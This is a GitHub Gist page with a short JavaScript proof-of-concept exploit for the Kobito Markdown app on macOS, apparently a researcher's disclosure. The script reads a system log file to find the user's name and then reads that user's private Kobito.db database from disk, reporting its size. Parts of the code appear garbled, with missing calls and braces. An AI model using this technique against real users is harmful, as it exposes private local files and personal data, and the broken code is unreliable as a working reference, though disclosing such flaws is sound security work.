Skip to content

Instantly share code, notes, and snippets.

@mala mala/
Last active Dec 29, 2016

What would you like to do?
Kobito for OSX exploit
<div id="result"></div>
function log(t){
document.getElementById("result").innerText += t + "\n";
var username;
var req = new XMLHttpRequest;"GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
req.onload = function(){
username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
log("Username:" + username);
var path = "/Users/" + username + "/Library/Containers/com.qiita.Kobito/Data/Library/Kobito/Kobito.db";"GET", path, true);
req.onload = function(){ log("Kobito.db: " + req.responseText.length + " bytes")};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.